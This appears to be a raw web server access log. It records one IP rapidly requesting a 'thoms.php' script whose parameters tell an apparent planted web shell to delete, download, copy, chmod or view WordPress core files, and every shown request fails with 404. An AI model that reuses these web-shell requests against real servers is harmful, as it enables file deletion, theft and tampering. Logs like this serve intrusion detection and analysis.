45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?del=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?dl=script-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?del=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fupdate.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fupdate.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?del=error-protection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?dl=update.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=update.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?chmod=Text&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Text&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?chmod=capabilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?dl=ms-files.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:37 -0400] "GET /thoms.php?del=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?del=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?chmod=default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?del=embed-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=shortcodes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=shortcodes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffunctions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?dl=theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?del=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:38 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?chmod=date.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?chmod=rest-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?chmod=post-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?chmod=meta.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fvars.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fvars.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?del=sodium_compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?del=block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?del=html-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=html-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcomment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcomment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?del=script-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:39 -0400] "GET /thoms.php?del=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?del=ID3&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ID3&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=view-config.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?dl=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:40 -0400] "GET /thoms.php?chmod=post-formats.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
